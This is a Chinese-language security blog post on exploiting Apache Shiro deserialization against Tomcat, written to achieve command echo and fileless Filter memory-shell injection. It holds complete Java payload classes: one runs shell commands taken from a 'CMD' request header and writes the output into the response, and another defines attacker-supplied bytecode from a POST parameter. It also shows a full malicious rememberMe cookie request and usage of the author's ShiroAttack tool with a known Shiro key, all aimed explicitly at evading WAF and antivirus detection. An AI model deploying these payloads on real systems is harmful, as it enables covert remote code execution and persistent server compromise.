背景

在前面Shiro利用的文章中,都是直接利用反序列化漏洞对Shiro应用进行攻击,使其弹出一个计算器,这当然只是在实验环境中,对漏洞成功利用的一个简单概念验证。在实战环境中,没法这么干,原因有二,一是我们很难得知被攻击机器是否成功执行了命令,特别是在目标机器不出网的环境下;基于一,我们可能会尝试上传WebShell文件,但这种方式尤其是在当下各类防御设备齐出马的形势下,极大可能会被杀软或WAF检测到,从而使得攻击被察觉,这就是原因二,落地Webshell文件容易被安全设备发现。

在前面《Tomcat Filter型内存马》一文中,是通过上传一个JSP的Webshell文件,访问并执行来达到内存马的注入,但这似乎也背离了内存马无文件落地的初衷。

由此,在这篇文章中将解决以上痛点,利用反序列化漏洞实现命令执行的回显输出,并结合内存马注入达到真正的无文件落地、内存马常驻以提升攻击的隐蔽性。

请求与响应

当客户端发送一个HTTP请求到Tomcat服务器时,Tomcat会创建一个Request对象来封装请求信息,随后这个Request对象会被传递给相应的Servlet或Filter进行处理,处理完成后,最后会通过Response对象设置响应信息。

想要达到命令执行结果作为响应回显输出,就必然需要先控制HTTP请求与响应对象,在Tomcat中用于处理HTTP请求与响应的核心类是org.apache.coyote.Request和org.apache.coyote.Response。

Request类封装了客户端发送到服务器的所有请求信息,包括请求行、头信息、参数和正文内容,而Response类封装了服务器发送给客户端的所有响应信息,包括状态码、头信息和正文内容。

《基于全局储存的新思路 | Tomcat的一种通用回显方法研究》一文得到的启发,我们通过遍历线程组来寻找Request和Response对象。

构造如下核心代码用于获取Request对象,有了Request,Response便也能获取到。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
boolean flag = false;
Thread[] threads = (Thread[]) getFieldValue(Thread.currentThread().getThreadGroup(), "threads");

for (int i = 0; i < threads.length; ++i) {
Thread thread = threads[i];
if (thread != null) {
String threadName = thread.getName();
if (!threadName.contains("exec") && threadName.contains("http")) {
Object obj = getFieldValue(thread, "target");
if (obj instanceof Runnable) {
try {
obj = getFieldValue(getFieldValue(getFieldValue(obj, "this$0"), "handler"), "global");
} catch (Exception e) {
continue;
}

java.util.List processors = (java.util.List) getFieldValue(obj,"processors");

for (int n = 0; n < processors.size(); ++n) {
Object processor = processors.get(n);
obj = getFieldValue(processor, "req");
Object resp = obj.getClass().getMethod("getResponse", new Class[0]).invoke(obj, new Object[0]);
String host = (String) obj.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(obj, new Object[]{new String("Host")});
if (host != null && !host.isEmpty()) {
// ...
flag = true;
}

// ...

if (flag) {
break;
}
}

if (flag) {
break;
}
}
}
}
}

其中getFieldValue方法通过反射获取对象的私有字段或受保护字段的值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
private static Object getFieldValue(Object obj, String field) throws Exception {
java.lang.reflect.Field f = null;
Class cls = obj.getClass();

while (cls != Object.class) {
try {
f = cls.getDeclaredField(field);
break;
} catch (NoSuchFieldException e) {
cls = cls.getSuperclass();
}
}

if (f == null) {
throw new NoSuchFieldException(field);
} else {
f.setAccessible(true);
return f.get(obj);
}
}

回显输出

既然成功获取到了Request和Response,那便可以构造Tomcat回显的核心代码了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
package org.shiroattack;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import java.lang.reflect.Field;
import java.util.List;
import java.util.Scanner;

public class TomcatEcho extends AbstractTranslet {

private static void writeBody(Object obj, byte[] bytes) throws Exception {
byte[] bs = (new java.lang.String(bytes)).getBytes();
Object object;
Class cls;
try {
cls = Class.forName("org.apache.tomcat.util.buf.ByteChunk");
object = cls.newInstance();
cls.getDeclaredMethod("setBytes", new Class[]{byte[].class, int.class, int.class}).invoke(object, new Object[]{bs, new Integer(0), new Integer(bs.length)});
obj.getClass().getMethod("doWrite", new Class[]{cls}).invoke(obj, new Object[]{object});
} catch (Exception e) {
cls = Class.forName("java.nio.ByteBuffer");
object = cls.getDeclaredMethod("wrap", new Class[]{byte[].class}).invoke(cls, new Object[]{bs});
obj.getClass().getMethod("doWrite", new Class[]{cls}).invoke(obj, new Object[]{object});
}
}

private static Object getFieldValue(Object obj, String field) throws Exception {
java.lang.reflect.Field f = null;
Class cls = obj.getClass();

while (cls != Object.class) {
try {
f = cls.getDeclaredField(field);
break;
} catch (NoSuchFieldException e) {
cls = cls.getSuperclass();
}
}

if (f == null) {
throw new NoSuchFieldException(field);
} else {
f.setAccessible(true);
return f.get(obj);
}
}

public TomcatEcho() throws Exception {
boolean flag = false;
Thread[] threads = (Thread[]) getFieldValue(Thread.currentThread().getThreadGroup(), "threads");

for (int i = 0; i < threads.length; ++i) {
Thread thread = threads[i];
if (thread != null) {
String threadName = thread.getName();
if (!threadName.contains("exec") && threadName.contains("http")) {
Object obj = getFieldValue(thread, "target");
if (obj instanceof Runnable) {
try {
obj = getFieldValue(getFieldValue(getFieldValue(obj, "this$0"), "handler"), "global");
} catch (Exception e) {
continue;
}

java.util.List processors = (java.util.List) getFieldValue(obj,"processors");

for (int n = 0; n < processors.size(); ++n) {
Object processor = processors.get(n);
obj = getFieldValue(processor, "req");
Object resp = obj.getClass().getMethod("getResponse", new Class[0]).invoke(obj, new Object[0]);
String host = (String) obj.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(obj, new Object[]{new String("Host")});
if (host != null && !host.isEmpty()) {
resp.getClass().getMethod("setStatus", new Class[]{Integer.TYPE}).invoke(resp, new Object[]{new Integer(200)});
flag = true;
}

String cmd = (String) obj.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(obj, new Object[]{new String("CMD")});
if (cmd != null && !cmd.isEmpty()) {
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
writeBody(resp, (new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\\A").next().getBytes());
flag = true;
}

if (flag) {
break;
}
}

if (flag) {
break;
}
}
}
}
}
}
}

将如上类配合CB1链并进行AES加密,生成恶意的Shiro rememberMe Cookie,然后发送HTTP请求,结果如下,成功执行pwd命令。

1
2
3
4
5
6
GET /login.jsp HTTP/1.1
Host: 192.168.1.100:8089
CMD: pwd
Cookie: rememberMe=6HJlKF19vKawiCyYTCVBhtKbx1iiqopAtW3jCmJFZrREgQX5JvagaSkpOAvpdr2vZER7e632lpXmxeR6DimFuRdkwWf+32mRVxIT734+NC8zLIbv5TH7/MnTINbA520UB0WTq0OJL9eETVFpZw6qvbx2JSdLgNKggoD9ax1EHg7pua7NDyqk6mUy/kiKs0RnxDeucUny33BCQhDLE9VnsiKXCKbtUZBI8teIpBCqMUWad2YSA4VWciR0oYzCsNayFdxwORwJnR4TfuvvHCBJKGFezONs4ofD9B5FlKE1gEoJVOeuKyc8F9cAyaLpiTKme3PQZi8yimCqITMqrWxm9bXC7B4ErcUa6g3HQ6d+X73G6UM64d5+fcJ3P9pxUMVBs6+zRmtX+3zAMSrswTuqJ6CP7DYsDypCJzAbE3oC1a2uVNPHwxGuNyCG/X3It9+PKKvSQlTMt/Oxwsvh6+/gtMPqE5AueTEu0AQR8iIWfPPHZp1EkunKyf0f1Ie+qPIVY1GIld9AwfQTee4d1MFYrLz8mIHEOx42aryKh1nAoaIwoQ5pVD4SYcGA5PsFvfxWi/SGBSHvYbDM3/kPPGYDay2Dq2nLcTCki2EVqgo/kFoGh4gCCxT2xOCXSq25FZJTT2rtxYO+Kc/jXPLh8RN0ymraBIWj3JFKohborytk0BKWnEZg+n7GdX21epMygSNb2wKrHaVD2pL3mZLLLxlkSL8c47fh3Zdv5J5QnJ7RN6QL406Y8owmhCyCXFvTLZEnS4dymlXogCwAnsNcBn1039T2Ob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nJZFQFaoJkIEuCvVXDHuzuLKzvMJ3ibKfO5kzQbVXdZIiKZJgUgztUc+7+1EB8ALo2/83mJ95xNxVxw+mIZrtYRbzQIr5P2agYtIx+hBKAlWr8zFJWsTFj4qVqxRq8etxnk8h5zLUrj/s/PpLwJnUTppce8c5E7xevH/6zpN8lKnIu9TvqpWBgNgb7H94IBAQJ9q+2Ic7MUIfv8+8dBb36YpV6XqlgloMXigTc8p/gsD5TIjp9xKvUwMs5MV/zOuvfWfRbAKlmfM8fMOAwuy+cmpSyMNuTpB0/ymJh0JtQm+SpJ9VtCQoB3C9O1TrHaGvZpbtam9x+zgqI+faLO6z562a2VY+85eWESOHvsJHuF50wiycHjLSE53G3vCotWYpHDWKmchFJR+erNS+P2o9h1AHAMrOh3VWC/0+Wy5bVuWIPb1gj+Qzrf02gcRx1Ur7LalOwL7oOEXkMa8Jj2FFtgF2/Cza09tLGW4HgRkAKPsK21L3dwZAcRlRzo8gT1R5DhpFO/2FoyBLoeqPVZGEu6L/tQ06X+uy604fcQk3tapEfkfz8KAGfHX0vELmhJQsbuqyRskseHzoEQ8BS8A+2OTreVP8VypB4JbhQ5mNm98U3Xs=
Connection: close

1
2
3
4
5
6
7
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Date: Wed, 22 May 2023 11:17:49 GMT
Connection: close
Content-Length: 43

/opt/apache-tomcat/apache-tomcat-7.0.0/bin

Filter型内存马

以上实现的命令执行回显输出还只是开胃小菜,它每次执行命令都需要携带很长的一串Payload。接下来进入正餐时刻,内存马,一次注入,随处使用。

在我的前一篇文章《Tomcat Filter型内存马》中已经提到了关于Filter型内存马的基础知识,不过在那篇文章中,攻击的手法是通过上传一个JSP Webshell文件,访问执行才达到内存马的注入,在那种情况下,是无需关心Request对象的获取的。但这也背离了内存马无文件落地的初衷。

StandardContext

在注入内存马前的一个关键就是获取StandardContext对象,StandardContext是org.apache.catalina.Context接口的一个实现类,代表了一个具体的Web应用上下文,并管理着应用的配置、生命周期和组件(如Servlet和Filter)。

在前文中获取StandardContext的方式如下,其中ServletContext是一个标准的Servlet API接口,提供了与Web应用交互的方法。ApplicationContext则是ServletContext的一个实现类,可以直接从ServletContext中获取context字段,该字段指向了ApplicationContext对象,同时在ApplicationContext中也包含一个context字段指向StandardContext。

1
2
3
4
5
6
7
8
9
10
ServletContext servletContext = request.getSession().getServletContext();

Field contextField = servletContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);

org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(servletContext);
contextField = applicationContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);

org.apache.catalina.core.StandardContext standardContext = (org.apache.catalina.core.StandardContext) contextField.get(applicationContext);

Request对象的转换

基于以上,我们也可以重复利用上面的代码。但不同地是,前文中的request是javax.servlet.http.HttpServletRequest,而这里获取到的是org.apache.coyote.Request,它们二者都是处理HTTP请求的关键类,但所处的层次有所不同。org.apache.coyote.Request主要负责底层的HTTP请求解析和处理,javax.servlet.http.HttpServletRequest则是面向开发者的更高层次的抽象,它能够方便Web应用处理HTTP请求。所以还需要将org.apache.coyote.Request做更高层次的转换,转换为javax.servlet.http.HttpServletRequest。

javax.servlet.jsp.PageContext提供了对JSP页面执行环境中各种信息的访问,包括请求对象、响应对象、会话对象、应用上下文等。所以,可直接利用该类中的getRequest与getResponse方法来获取HttpServletRequest与HttpServletResponse对象。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public void getReqResp(Object obj) {
if (obj.getClass().isArray()) {
Object[] data = (Object[]) ((Object[])((Object[])obj));
this.request = (HttpServletRequest) data[0];
this.response = (HttpServletResponse) data[1];
} else {
try {
Class pageContext = Class.forName("javax.servlet.jsp.PageContext");
this.request = (HttpServletRequest) pageContext.getDeclaredMethod("getRequest").invoke(obj);
this.response = (HttpServletResponse) pageContext.getDeclaredMethod("getResponse").invoke(obj);
} catch (Exception e) {
if (obj instanceof HttpServletRequest) {
this.request = (HttpServletRequest) obj;

try {
Field reqField = this.request.getClass().getDeclaredField("request");
reqField.setAccessible(true);
HttpServletRequest request2 = (HttpServletRequest) reqField.get(this.request);
Field respField = request2.getClass().getDeclaredField("response");
respField.setAccessible(true);
this.response = (HttpServletResponse) respField.get(request2);
} catch (Exception ex) {
try {
this.response = (HttpServletResponse) this.request.getClass().getDeclaredMethod("getResponse").invoke(obj);
} catch (Exception exc) {
}
}
}
}
}
}

defineClass

现在有了Request和StandardContext,终于可以构造Filter内存马了,但会发现生成的Payload长度非常大,已经超过Tomcat默认8K的maxHttpHeaderSize,超出这个大小后Tomcat便会返回400状态码。

运用先前学到的Java类加载知识,将添加Filter的恶意类作为POST参数值进行传递。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
package org.shiroattack;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.List;
import sun.misc.BASE64Decoder;

public class DefineClass extends AbstractTranslet {
private static Object getFieldValue(Object obj, String field) throws Exception {
java.lang.reflect.Field f = null;
Class cls = obj.getClass();

while (cls != Object.class) {
try {
f = cls.getDeclaredField(field);
break;
} catch (NoSuchFieldException e) {
cls = cls.getSuperclass();
}
}

if (f == null) {
throw new NoSuchFieldException(field);
} else {
f.setAccessible(true);
return f.get(obj);
}
}

public DefineClass() throws Exception {
boolean flag = false;
Thread[] threads = (Thread[]) getFieldValue(Thread.currentThread().getThreadGroup(), "threads");

for (int i = 0; i < threads.length; ++i) {
Thread thread = threads[i];
if (thread != null) {
String threadName = thread.getName();
if (!threadName.contains("exec") && threadName.contains("http")) {
Object obj = getFieldValue(thread, "target");
if (obj instanceof Runnable) {
try {
obj = getFieldValue(getFieldValue(getFieldValue(obj, "this$0"), "handler"), "global");
} catch (Exception e) {
continue;
}

java.util.List processors = (java.util.List) getFieldValue(obj,"processors");

for (int n = 0; n < processors.size(); ++n) {
Object processor = processors.get(n);
obj = getFieldValue(processor, "req");

Object conreq = obj.getClass().getMethod("getNote", new Class[]{int.class}).invoke(obj, new Object[]{new Integer(1)});

String c = (String) conreq.getClass().getMethod("getParameter", new Class[]{String.class}).invoke(conreq, new Object[]{new String("class")});

if (c != null && !c.isEmpty()) {
byte[] bytecodes = new sun.misc.BASE64Decoder().decodeBuffer(c);

java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, int.class, int.class});
defineClassMethod.setAccessible(true);

Class cc = (Class) defineClassMethod.invoke(this.getClass().getClassLoader(), new Object[]{bytecodes, new Integer(0), new Integer(bytecodes.length)});

cc.newInstance().equals(conreq);
flag = true;
}
if (flag) {
break;
}
}
if (flag) {
break;
}
}
}
}
}
}

}

工具自动化利用

最终,根据以上所有,编写一个自动化利用的工具ShiroAttack。

TomcatEcho

Tomcat通用回显,已在Tomcat 7.0.0、7.0.10、7.0.109、8.5.54、9.0.10版本上测试攻击成功,但6.0.53和10.0.0版本上攻击失败。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ java -jar ShiroAttack.jar -p http://127.0.0.1:8080 -u http://192.168.1.100:8089 -k kPH+bIxk5D2deZiIxcaaaA== -m CBC -a TomcatEcho -c pwd

_____ __ _ ___ __ __ __
/ ___// /_ (_)________ / | / /_/ /_____ ______/ /__
\__ \/ __ \/ / ___/ __ \/ /| |/ __/ __/ __ `/ ___/ //_/
___/ / / / / / / / /_/ / ___ / /_/ /_/ /_/ / /__/ ,<
/____/_/ /_/_/_/ \____/_/ |_\__/\__/\__,_/\___/_/|_|

[*] URL: http://192.168.1.100:8089
[*] Proxy: http://127.0.0.1:8080
[*] Shiro Key: kPH+bIxk5D2deZiIxcaaaA==
[*] Encryption mode: AES-CBC
[*] Type of attack: TomcatEcho
[*] Timeout: 20s
[*] Command: pwd

/opt/apache-tomcat/apache-tomcat-7.0.0/bin

FilterMemShell

Filter型内存马注入,已在Tomcat 7.0.10、7.0.109、8.5.54、9.0.10、9.0.70版本上测试攻击成功,但6.0.53、7.0.0和10.0.0版本上攻击失败。

参考

https://0xf4n9x.github.io/tomcat-filter-memshell.html

https://0xf4n9x.github.io/java-classloader.html

https://mp.weixin.qq.com/s/O9Qy0xMen8ufc3ecC33z6A

https://xz.aliyun.com/t/7348

https://github.com/KpLi0rn/shiro_attack

https://github.com/0xf4n9x/ShiroAttack